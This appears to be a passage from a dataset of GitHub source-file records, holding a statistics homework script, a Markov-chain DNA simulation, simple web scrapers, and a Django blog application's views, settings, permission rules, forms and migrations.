-2ln(LRs) values.\nlog_L_Rts=(-2)*(np.log(L_Rts))\nprint log_L_Rts\n\n# Find the 95th percentile of these values. Compare these values to this table:\n# https://people.richland.edu/james/lecture/m170/tbl-chi.html. In particular, look at the 0.05 column. Do any of these values seem similar to the one you calculated?\n\nprint np.percentile(log_L_Rts,95) ##Result --> 3.593. This number is close to the first value in the 0.05 column which is 3.841\n\nprint np.percentile(log_L_Rts,75)\nprint np.percentile(log_L_Rts,50)\n\n\n# Any idea why that particular cell would be meaningful?\n#####Because in this exercise we are working with a Binomial scenario, which presents only one degree of freedom\n\n\n# Based on your results (and the values in the table), what LR statistic value \n# [-2ln(LR)] indicates that a null value of p is far enough away from the ML value\n# that an LR of that size is <=5% probable if that value of p was true?\n\n####Values of [-2ln(LR)] larger than 3.593 in my case, or larger than 3.841 according to the Chi Square table can help me to exclude the respective values of p from my confidence interval.\n\n\nrel_p = []\nfor i in range(0,105,5):\n x=i/100.0\n rel_p.append(x)\nprint rel_p\n\nL_scores=[]\nfor p in rel_p:\n like=binomPMF(5,4,p)\n L_scores.append(like)\nprint L_scores\n\nmaximun=max(L_scores)\nprint maximun\n\nlike_ratios=[]\nfor y in L_scores:\n t=y/maximun\n like_ratios.append(t)\nprint like_ratios\n\nlogRts=(-2)*(np.log(like_ratios))\nprint logRts\n\n\ndata = 12\nnumTrials = 20\n\nrel_p2 = []\nfor i in range(0,105,5):\n x=i/100.0\n rel_p2.append(x)\nprint rel_p2\n\nL_scores2=[]\nfor p in rel_p2:\n like1=binomPMF(numTrials,data,p)\n L_scores2.append(like1)\nprint L_scores2 \n\nmaximun2=max(L_scores2)\nprint maximun2\n\nlike_ratios2=[]\nfor zz in L_scores2:\n aa=zz/maximun2\n like_ratios2.append(aa)\nprint like_ratios2\n\nlogRts2=(-2)*(np.log(like_ratios2))\nprint logRts2\n\n# We've talked in previous classes about two ways to interpret probabilities. Which\n# interpretation are we using here to define these intervals?\n###This is a frequentist interpretation in my opinion" }, { "alpha_fraction": 0.597695529460907, "alphanum_fraction": 0.6327531337738037, "avg_line_length": 52.657894134521484, "blob_id": "b6369dbb81afa4ada8f8180cbd9b58c1797152f1", "content_id": "79640c9fa6bf634ee60d4ea85186383cde9e0acb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4079, "license_type": "no_license", "max_line_length": 309, "num_lines": 76, "path": "/ContinuousMarkovSimulation.py", "repo_name": "marcoarego/CompPhylo", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Feb 23 10:36:48 2015\n\n@author: Marcola\n\"\"\"\n\nimport scipy \nimport random \nfrom numpy.random import uniform\nfrom math import log \n\n\n### Creating the object that will contain a 'Q' and a function that will generate a Continuous Markov Chain simulation.\n\nclass ContMarkSim(object): # to define an object we need to use the 'class' statement and the word 'object' inside the parentheses\n \n '''Defining the object variables''' \n T_end=50 #Ending Time, in this case 50. I will use a while statement that will execute the function untill that time peiod is reached\n Q_matrix=[[-1.916,0.541,0.787,0.588],[0.148,-1.069,0.417,0.506],[0.286,0.170,-0.591,0.135],[0.525,0.236,0.594,-1.355]] # this is the Q matrix, or Rates matrix. The negative numbers are in the positions [0][0],[1][1],[2][2]and [3][3]. By doing this we are assigning them to the main diagonal of the matrix.\n \n '''Defining the function that will make my simulation'''\n def MarkSim(self):\n tup=(0,1,2,3) # State spaces for the simulation\n state=random.choice(tup) # using the random.choice function to sort the initial state\n Time=0 # Defining the starting point in the branch\n list1=[] # This will be the list with the waiting times\n list2=[] # this list will hold the probabilities of going to any particular event based on the present one\n list3=[] # list containing the possible events to come in the next change in the chain\n list4=[state] # This will be the list with the states. Note that thi list already has the first state choosed from the random.choice function\n \n '''definning a function inside a function'''\n def discSamp(events,probs): # This is the Discrete sampling function used in other exercises\n ranNum = scipy.random.random()\n cumulProbs = []\n cumulProbs.extend([probs[0]])\n for t in range(1,len(probs)):\n cumulProbs.extend([probs[t]+cumulProbs[-1]])\n for t in range(0,len(probs)):\n if ranNum < cumulProbs[t]:\n return events[t]\n return None\n \n '''Now back to the main function body'''\n while Time <= self.T_end: # executing the function untill it reaches the ending time\n u1=uniform(low=0.0, high=1.0, size=None)\n Wtime=-(1/-(self.Q_matrix[state][state]))*log(u1) # Calculating the waiting time\n list1.append(Wtime)\n Time=sum(z for z in list1)\n for g in self.Q_matrix[state]:\n if g >= 0:\n p=-(g/(self.Q_matrix[state][state]))##calculating the probabilities of the next events according to the current state. We divide the positive rates of the row, by the diagonal value\n list2.append(p)\n for next_state in [0,1,2,3]: # list with possible next states\n if next_state != state: # for next state being different from current\n list3.append(next_state) # appending following states to list3\n i=discSamp(events=list3,probs=list2)\n list4.append(i)\n \n '''Converting the original numbers to letters corresponding the nucleotide bases'''\n list5 = [str(x) for x in list4]\n list5 = [A.replace('0', 'A') for A in list5] # Converting the numbers to letters\n list5 = [C.replace('1', 'C') for C in list5] # Converting the numbers to letters\n list5 = [G.replace('2', 'G') for G in list5] # Converting the numbers to letters\n list5 = [T.replace('3', 'T') for T in list5] # Converting the numbers to letters \n \n return list5,list1, sum(list1) # this function is returning the list of events (list5), the waiting time for each event to happen, and the final sum of the waiting time so we can check last value\n \nd= ContMarkSim()\nprint d.T_end\n\nd.T_end = (500) # changing the value of the variable inside the objec\n\nprint d.T_end\nprint d.Q_matrix\nprint d.MarkSim()\n\n" } ]
10
GithubPooja/Web-scraping
https://github.com/GithubPooja/Web-scraping
245493d4d5e577df8b5bd68c39905c29d5e7c216
5e923260e633261bdde4465614d86d4a6a6855b2
0eefd55b4a6bfd568bcc1892bdc264194187410d
refs/heads/master
2021-04-28T19:21:33.170117
2018-02-17T21:57:49
2018-02-17T21:57:49
121,894,633
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7692307829856873, "avg_line_length": 12, "blob_id": "ab927dea73e3008bc6aa43242349b47941425c69", "content_id": "3c4e7c7a7fbdd489651a4e96047b5040cc69b2e3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 39, "license_type": "no_license", "max_line_length": 22, "num_lines": 3, "path": "/README.md", "repo_name": "GithubPooja/Web-scraping", "src_encoding": "UTF-8", "text": "# Web-scraping\n\nScraping data from web\n" }, { "alpha_fraction": 0.6864686608314514, "alphanum_fraction": 0.7062706351280212, "avg_line_length": 36, "blob_id": "bba66b528db566cfb27bed7b2cc0c42147ce555f", "content_id": "3cd612559c60d32d4bd654eb29dba0fd14923251", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 606, "license_type": "no_license", "max_line_length": 108, "num_lines": 16, "path": "/Webscrapping3.py", "repo_name": "GithubPooja/Web-scraping", "src_encoding": "UTF-8", "text": "import urllib.request\r\nimport re\r\n\r\nurls = [\"http://cnn.com\",\"http://nytimes.com\",\"https://timesofindia.indiatimes.com\"] # array of urls\r\ni = 0\r\nregex = '<title>(.+?)</title>' # taking all the characters between title tag\r\npattern = re.compile(regex) # converting regex string to expression that can be interpreted by regex library\r\nwhile i <3:\r\n\r\n\thtmlfile = urllib.request.urlopen(urls[i])\r\n\thtmltext = htmlfile.read().decode()\r\n\t#pattern1 = pattern.decode('utf-8')\r\n\ttitles = re.findall(pattern,htmltext)\r\n\tprint(titles)\r\n\t#print(htmltext[0:100])# to print first 100 characters of each website\r\n\ti = i+1" }, { "alpha_fraction": 0.6823734641075134, "alphanum_fraction": 0.6841186881065369, "avg_line_length": 21.79166603088379, "blob_id": "cde23e5980f7a3530eaf1f7d20a1a33c6977962b", "content_id": "14034854e44946ac20432f387acc44b0352962ef", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 573, "license_type": "no_license", "max_line_length": 141, "num_lines": 24, "path": "/webscrapping2.py", "repo_name": "GithubPooja/Web-scraping", "src_encoding": "UTF-8", "text": "import urllib.request\r\n\r\nimport re\r\n\r\n\r\nSymbols = open(\"NASDAQ1.txt\") # have downloaded different symbols and saved them in ths same directory where this programming code is written\r\nSymbollist = Symbols.read().split(\" \")\r\nprint(Symbollist)\r\n\r\nfor i in Symbollist:\r\n\thtmlfile = urllib.request.urlopen(\"https://www.nasdaq.com/symbol/\"+i)\r\n\thtmltext = htmlfile.read().decode()\r\n\r\n\r\n\r\n\tregex = '<div id=\"qwidget_lastsale\" class=\"qwidget-dollar\">(.+?)</div>'\t\r\n\r\n\r\n\tpattern = re.compile(regex)\r\n\r\n\tprice = re.findall(pattern, htmltext)\r\n\r\n\r\n\tprint (i,'price'.join(price))\r\n\r\n" }, { "alpha_fraction": 0.6660305261611938, "alphanum_fraction": 0.6793892979621887, "avg_line_length": 28.764705657958984, "blob_id": "7d8489f50d84013e459e6f78703b4ce3cd3a4d05", "content_id": "04b59f98d30924786fbbb4d76a94abbeea0ee3fa", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 524, "license_type": "no_license", "max_line_length": 153, "num_lines": 17, "path": "/Webscrapping4.py", "repo_name": "GithubPooja/Web-scraping", "src_encoding": "UTF-8", "text": "import urllib.request\r\nimport json\r\n\r\n# Stock price of apple fpr entire day\r\n\r\n# Daily stock price of apple: https://www.bloomberg.com/quote/AAPL:US#http://www.bloomberg.com/markets/api/bulk-time-series/price/AAPL:US?timeFrame=1_DAY\r\n\r\nfile = urllib.request.urlopen('https://www.bloomberg.com/markets/api/bulk-time-series/price/AAPL:US?timeFrame=1_DAY')\r\ndata = json.load(file)\r\ns = 0\r\n\r\nfor i in data[0][\"price\"]:\r\n\ty = data[0][\"price\"][s][\"dateTime\"]\r\n\tx = data[0][\"price\"][s][\"value\"]\r\n\ts = s + 1\r\n\tprint(y)\r\n\tprint(x)\r\n\t" } ]
4
alkaest2002/django-blog
https://github.com/alkaest2002/django-blog
f8a0a3a58693c019a40a64b0b0f034b3b854a0e4
c51432c9116bba8ac26453503ef7ff3db5d185d7
7d3d4e9341d4a1278557d0dc9b7a4b18a64a77bf
refs/heads/master
2018-12-08T07:37:49.334066
2018-10-11T18:14:07
2018-10-11T18:14:07
148,301,544
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.49901312589645386, "alphanum_fraction": 0.4996475279331207, "avg_line_length": 37.65667724609375, "blob_id": "ddf5bfd81261d75890d637c4666fc6eb33b229b6", "content_id": "92eb8e6c51a8674eab6cfdcc374fa11b82a89ccd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 14188, "license_type": "no_license", "max_line_length": 154, "num_lines": 367, "path": "/apps/blog/views.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import rules\nfrom django.contrib.auth.mixins import LoginRequiredMixin\nfrom django.http import HttpResponseRedirect\nfrom django.views.generic.dates import ArchiveIndexView\nfrom django.views.generic import DetailView, ListView\nfrom django.views.generic.edit import CreateView, UpdateView, DeleteView\nfrom django.contrib.postgres.search import SearchQuery, SearchRank, SearchVector\nfrom django.contrib import messages\nfrom django.urls import reverse_lazy\nfrom django.db.models import F\nfrom rules.contrib.views import PermissionRequiredMixin\nfrom django.utils.http import urlencode\nfrom django.shortcuts import render\n\nfrom apps.common.decorators import search\nfrom apps.common.mixins import CacheMixin\nfrom apps.common.functions import get_cleaned_path\nfrom .forms import *\nfrom .models import *\nfrom apps.filer.models import Asset\n\n# list articles\nclass Article_List(CacheMixin, ArchiveIndexView):\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n model = Article\n queryset = Article.objects.defer(\"content\").prefetch_related('author','tag')\n date_field = 'created'\n paginate_by = 10\n allow_empty = True\n \n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_template_names(self):\n # change template depending on role\n if rules.test_rule('account.has_editor_privileges', self.request.user): return ['blog/article-list-editor-page.html']\n elif rules.test_rule('account.has_author_privileges', self.request.user): return ['blog/article-list-author-page.html']\n else: return ['blog/article-list-page.html']\n \n def get_paginate_by(self, queryset):\n return self.request.GET.get('paginate_by', self.paginate_by)\n \n @search\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Article_List, self).get_context_data(**kwargs)\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('blog:article-list')\n # add tags\n ctx['tags'] = Tag.objects.all()\n # add articles with most hits\n ctx['articles_with_most_hits'] = Article.objects.get_articles_with_most_hits()\n # return context\n return ctx\n \n def get_queryset(self, **lookup):\n # call super\n qs = super(Article_List, self).get_queryset(**lookup)\n # set search\n search = self.request.GET.get('search')\n if search:\n query = SearchQuery(search, config=\"italian\")\n qs = qs.annotate(rank=SearchRank(F('tsv'), query)).filter(tsv=query).order_by('-rank') \n # return queryset\n return qs\n\n# view tagged article list\nclass Tag_Article_List(Article_List):\n \n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Tag_Article_List, self).get_context_data(**kwargs)\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('blog:tag-article-list', kwargs={'tag': self.kwargs.get('tag')})\n # return context\n return ctx\n\n def get_queryset(self, **lookup):\n # call super\n qs = super(Tag_Article_List, self).get_queryset(**lookup)\n # add tag filter\n qs = qs.filter(tag__name = self.kwargs.get('tag'))\n # return queryset\n return qs\n\n# view author's article list\nclass Author_Article_List(Article_List):\n \n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Author_Article_List, self).get_context_data(**kwargs)\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('blog:author-article-list', kwargs={'author': self.kwargs.get('author'), 'type' : self.kwargs.get('type')})\n # return context\n return ctx\n\n def get_queryset(self, **lookup):\n # call super\n qs = super(Author_Article_List, self).get_queryset(**lookup)\n # add author filter\n qs = qs.filter(author__id = self.kwargs.get('author'))\n # add type filter\n if self.kwargs.get('type') == 'draft': \n qs = qs.filter(isDraft = True)\n elif self.kwargs.get('type') == 'published':\n qs = qs.filter(isDraft = False)\n # return queryset\n return qs\n\n# view editor's to be approved article list\nclass To_Be_Approved_Article_List(PermissionRequiredMixin, Article_List):\n \n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'blog.approve_article'\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(To_Be_Approved_Article_List, self).get_context_data(**kwargs)\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('blog:to-be-approved-article-list')\n # return context\n return ctx\n \n def get_queryset(self, **lookup):\n # call super\n qs = super(To_Be_Approved_Article_List, self).get_queryset(**lookup)\n # add author filter\n qs = qs.filter(isApproved = False)\n # return queryset\n return qs\n\n# view article\nclass Article_Detail(CacheMixin, DetailView):\n\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n model = Article\n template_name = 'blog/article-detail.html'\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_object(self, queryset=None):\n # call super\n object = super(Article_Detail, self).get_object()\n # increment counter\n if self.request.user.id != object.author.id: \n object.hits += 1\n object.save()\n # return the object\n return object\n \n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add selected images\n ctx['articles_from_author'] = Article.objects.get_most_recent_articles_from_same_author(author=self.object.author.id, size=5)\n # return context\n return ctx\n\n# create article\nclass Article_Create(LoginRequiredMixin, PermissionRequiredMixin, CreateView):\n\n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'blog.create_article'\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'blog/article-create-or-update.html'\n form_class = Article_Create_Update_Form\n model = Article\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_object(self):\n pass\n \n def get_form_kwargs(self, **kwargs):\n # call super\n kwargs = super(Article_Create, self).get_form_kwargs(**kwargs)\n # add sticky count\n kwargs['sticky_count'] = Article.objects.filter(isSticky=True).count()\n # return\n return kwargs\n \n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add selected images\n ctx['selected_assets'] = Asset.objects.get_selected_assets(user=self.request.user)\n # add sticky count\n ctx['sticky_counts'] = Article.objects.filter(isSticky=True).count()\n # add submit button label\n ctx['submit_label'] = 'pubblica'\n # return context\n return ctx\n \n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"L'articolo è stato creato.\")\n # save without commit\n article = form.save(commit=False)\n # add author\n article.author = self.request.user\n # define article status\n if 'draft' in self.request.POST: article.isDraft = True \n if 'final' in self.request.POST: article.isDraft = False \n # save article\n article.save()\n form.save_m2m()\n # return\n return HttpResponseRedirect(article.get_absolute_url())\n\n# update article\nclass Article_Update(LoginRequiredMixin, PermissionRequiredMixin, UpdateView):\n\n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'blog.update_article'\n\n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'blog/article-create-or-update.html'\n form_class = Article_Create_Update_Form\n model = Article\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add selected images\n ctx['selected_assets'] = Asset.objects.get_selected_assets(user=self.request.user)\n # add submit button label\n ctx['submit_label'] = 'pubblica'\n # return context\n return ctx\n \n def get_form_kwargs(self, **kwargs):\n # call super\n kwargs = super(Article_Update, self).get_form_kwargs(**kwargs)\n # add sticky count\n kwargs['sticky_count'] = Article.objects.filter(isSticky=True).count()\n # return\n return kwargs\n \n def form_valid(self, form):\n # add flash\n messages.success(self.request, \"L'articolo è stato aggiornato.\")\n # save without commit\n article = form.save(commit=False)\n # add author and other stuff\n article.author = self.request.user\n article.isDraft = 'draft' in self.request.POST \n # get user groups and set isApproved accordingly\n groups = self.request.user.groups.values_list('name', flat=True)\n article.isApproved = any([group in groups for group in ['editor', 'author_secure']])\n # save article\n article.save()\n form.save_m2m()\n # return\n return HttpResponseRedirect(article.get_absolute_url())\n\n# delete article\nclass Article_Delete(LoginRequiredMixin, PermissionRequiredMixin, DeleteView):\n\n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = 'blog.delete_article'\n \n # ----------------------------------------------------------------\n # props\n # ----------------------------------------------------------------\n template_name = 'common/object-delete.html'\n model = Article\n success_url = reverse_lazy('blog:article-list')\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super().get_context_data(**kwargs)\n # add go_back url\n ctx['go_back'] = self.success_url\n # return context\n return ctx\n\n# list tag\nclass Tag_List(LoginRequiredMixin, PermissionRequiredMixin, ListView):\n \n # ----------------------------------------------------------------\n # permission\n # ----------------------------------------------------------------\n permission_required = (\n 'blog.create_tag', \n 'blog.update_tag', \n 'blog.delete_tag'\n )\n\n # ----------------------------------------------------------------\n # parameters\n # ----------------------------------------------------------------\n template_name = 'blog/tag-list.html'\n model = Tag\n paginate_by = 10\n formset = Tag_Formset_Factory\n\n # ----------------------------------------------------------------\n # override methods\n # ----------------------------------------------------------------\n def get_context_data(self, **kwargs):\n # call super\n ctx = super(Tag_List, self).get_context_data()\n # add cleaned_path\n ctx['cleaned_path'] = get_cleaned_path('blog:tag-list')\n # add formset to context\n ctx['formset'] = self.formset(queryset=ctx['object_list'])\n # return context\n return ctx \n\n def post(self, request, *args, **kwargs):\n # needed to get context data in POST\n self.object_list = self.get_queryset()\n # populate formset with POST data\n formset = self.formset(request.POST, request.FILES)\n # if formset is valis\n if formset.has_changed() & formset.is_valid():\n # loop through forms in formset\n formset.save()\n # redirect to succes\n return HttpResponseRedirect(self.get_success_url()) \n else:\n # get context\n ctx = self.get_context_data()\n # update context with POST populated formset\n ctx['formset'] = formset\n # render page\n return render(request, self.template_name, ctx) \n\n def get_success_url(self):\n # build success\n url = reverse_lazy('blog:tag-list')\n return u'%s?%s' % (url, urlencode({'page':self.request.GET.get('page', 1)}))" }, { "alpha_fraction": 0.6715668439865112, "alphanum_fraction": 0.6730010509490967, "avg_line_length": 23.910715103149414, "blob_id": "61c26ff96473752bb4bf84a96010eaeb72c7b451", "content_id": "6057f9c3148d8c3e781f6996c1b0b5effb0f69b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2789, "license_type": "no_license", "max_line_length": 91, "num_lines": 112, "path": "/config/base.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import os\nfrom decouple import config \nfrom pathlib import Path\nfrom django.urls import reverse_lazy\n\n# BASEDIR\nBASE_DIR = Path(__file__).resolve().parent.parent\n\n# LOGIN REDIRECTS\nLOGIN_REDIRECT_URL=reverse_lazy('account:dashboard')\nLOGIN_URL=reverse_lazy('account:login')\n\nALLOWED_HOSTS = []\n\n# INSTALLED APPLICATIONS\nINSTALLED_APPS = [\n \n # APPS\n 'rules.apps.AutodiscoverRulesConfig',\n 'apps.account',\n 'apps.forefront',\n 'apps.blog',\n 'apps.gild',\n 'apps.filer',\n 'apps.sponsor',\n \n # CORE\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.forms',\n 'django.contrib.sites'\n]\n\n# AUTHENTICATIONS BACKENDS\nAUTHENTICATION_BACKENDS = (\n 'rules.permissions.ObjectPermissionBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n# URL CONF\nROOT_URLCONF = 'config.urls'\n\n# TEMPLATES\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [(os.path.join(BASE_DIR, 'apps/templates'))],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\n# FORM RENDERER\nFORM_RENDERER = 'django.forms.renderers.TemplatesSetting'\n\n# WSGI_APPLICATION\nWSGI_APPLICATION = 'config.wsgi.application'\n\n# PASSWORD VALIDATORS\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n# INTERNATIONALIZATIONS\nLANGUAGE_CODE = 'it-IT'\nTIME_ZONE = 'Europe/Rome'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# MESSAGE TAGS\nfrom django.contrib.messages import constants as messages\nMESSAGE_TAGS = {\n messages.INFO: 'uk-alert-primary',\n messages.SUCCESS: 'uk-alert-success',\n messages.WARNING: 'uk-alert-warning',\n messages.ERROR: 'uk-alert-danger',\n}\n\n# RECAPTCHA\nGOOGLE_RECAPTCHA_SECRET_KEY = config('GOOGLE_RECAPTCHA_SECRET_KEY')\n\n# SPARKPOST INTEGRATION\nSPARKPOST_API_KEY = config('SPARKPOST_API_KEY')\nEMAIL_BACKEND = 'sparkpost.django.email_backend.SparkPostEmailBackend'\nSPARKPOST_OPTIONS = {\n 'track_opens': False,\n 'track_clicks': False,\n 'transactional': True,\n}" }, { "alpha_fraction": 0.5698198080062866, "alphanum_fraction": 0.6396396160125732, "avg_line_length": 23.66666603088379, "blob_id": "ce62d8bc9197add1f9f72bebf140eea1bfefd5db", "content_id": "b0ca7e7e7cbd5fa4d034189a7bec13ff281a8b2b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 444, "license_type": "no_license", "max_line_length": 110, "num_lines": 18, "path": "/apps/blog/migrations/0007_auto_20180906_1937.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-06 19:37\n\nimport django.contrib.postgres.indexes\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0006_auto_20180906_1913'),\n ]\n\n operations = [\n migrations.AddIndex(\n model_name='article',\n index=django.contrib.postgres.indexes.GinIndex(fields=['tsv'], name='blog_articl_tsv_1dbede_gin'),\n ),\n ]\n" }, { "alpha_fraction": 0.5072115659713745, "alphanum_fraction": 0.5817307829856873, "avg_line_length": 20.894737243652344, "blob_id": "cc53ba19a3b8e3432a324f78533581efbffaa21d", "content_id": "08ceed6f8fc95977a748cb97a689ea925ed5addc", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 416, "license_type": "no_license", "max_line_length": 49, "num_lines": 19, "path": "/apps/sponsor/migrations/0006_company_rank.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-11 14:06\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('sponsor', '0005_auto_20180911_1215'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='company',\n name='rank',\n field=models.IntegerField(default=1),\n preserve_default=False,\n ),\n ]\n" }, { "alpha_fraction": 0.4000000059604645, "alphanum_fraction": 0.40140846371650696, "avg_line_length": 28.625, "blob_id": "61c7c21d07e28fa94eed23f3344d336b95bac298", "content_id": "77178689aa394344289080816ca4d6321a79b653", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 710, "license_type": "no_license", "max_line_length": 78, "num_lines": 24, "path": "/apps/sponsor/forms.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "from django.forms.models import modelformset_factory\nfrom django.forms import ModelForm\n\nfrom .models import Company\n\n# ----------------------------------------------------------------------------\n# FORMS \n# ----------------------------------------------------------------------------\nclass Company_Create_Update_Form(ModelForm):\n\n class Meta:\n model = Company\n fields = ['name','link']\n\n# ----------------------------------------------------------------------\n# FORMSETS\n# ----------------------------------------------------------------------\nCompany_Formset_Factory = modelformset_factory(\n Company,\n Company_Create_Update_Form,\n extra=1,\n can_delete=True,\n can_order=True,\n)" }, { "alpha_fraction": 0.529668927192688, "alphanum_fraction": 0.5571517944335938, "avg_line_length": 31.67346954345703, "blob_id": "9e02d39762e65cf5e3252907e2310a6719e44cfb", "content_id": "dde78cdbd7added896c186f28eea436bcd539015", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1601, "license_type": "no_license", "max_line_length": 93, "num_lines": 49, "path": "/apps/gild/migrations/0002_auto_20180907_1221.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "# Generated by Django 2.1 on 2018-09-07 12:21\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('gild', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='member',\n name='first_name',\n field=models.CharField(max_length=250, verbose_name='Nome'),\n ),\n migrations.AlterField(\n model_name='member',\n name='last_name',\n field=models.CharField(max_length=250, verbose_name='Cognome'),\n ),\n migrations.AlterField(\n model_name='member',\n name='location',\n field=models.CharField(max_length=250, verbose_name='Posizione geografica'),\n ),\n migrations.AlterField(\n model_name='member',\n name='since',\n field=models.DateField(verbose_name='Membro dal (GG/MM/AAAA)'),\n ),\n migrations.AddIndex(\n model_name='member',\n index=models.Index(fields=['last_name'], name='gild_member_last_na_bb5561_idx'),\n ),\n migrations.AddIndex(\n model_name='member',\n index=models.Index(fields=['first_name'], name='gild_member_first_n_ae6b73_idx'),\n ),\n migrations.AddIndex(\n model_name='member',\n index=models.Index(fields=['job'], name='gild_member_job_72887d_idx'),\n ),\n migrations.AddIndex(\n model_name='member',\n index=models.Index(fields=['location'], name='gild_member_locatio_c05128_idx'),\n ),\n ]\n" }, { "alpha_fraction": 0.5795170664787292, "alphanum_fraction": 0.5795170664787292, "avg_line_length": 36.5625, "blob_id": "b75a9cf01b6cfd741311b8041b6622e05f64bbbf", "content_id": "49d92e4095e0ed3943c19e0591981004e4ab62c9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1201, "license_type": "no_license", "max_line_length": 69, "num_lines": 32, "path": "/apps/blog/rules.py", "repo_name": "alkaest2002/django-blog", "src_encoding": "UTF-8", "text": "import rules\n\n# ----------------------------------------------------------------\n# PREDICATES\n# ----------------------------------------------------------------\[email protected]\ndef is_article_author(user, article):\n return article.author == user\n\nis_editor = rules.is_group_member('editor')\nis_author = rules.is_group_member('author')\nis_author_secure = rules.is_group_member('author_secure')\nis_either_author_or_editor = is_editor | is_author | is_author_secure\n\nis_article_author_or_editor = is_article_author | is_editor\n\n# ----------------------------------------------------------------\n# RULES\n# ----------------------------------------------------------------\n\n# article related\nrules.add_perm('blog.view_article', rules.always_allow())\nrules.add_perm('blog.create_article', is_either_author_or_editor)\nrules.add_perm('blog.update_article', is_article_author_or_editor)\nrules.add_perm('blog.approve_article', is_editor)\nrules.add_perm('blog.delete_article', is_article_author_or_editor)\n\n# tag related\nrules.add_perm('blog.view_tag', rules.always_allow())\nrules.add_perm('blog.create_tag', is_editor)\nrules.add_perm('blog.update_tag', is_editor)\nrules.add_perm('blog.delete_tag', is_editor)" }, { "alpha_fraction": 0.5090609788894653, "alphanum_fraction": 0.5716639161109924, "avg_line_length": 24.29166603088379, "blob_id": "b7c46c9842bb8f52874de87c7a5566db28b8f28a", "content_id": "8dd765d35740bb25b45d2a9eb11bd4c53915de45", "detected_licenses": [], "is_generated": 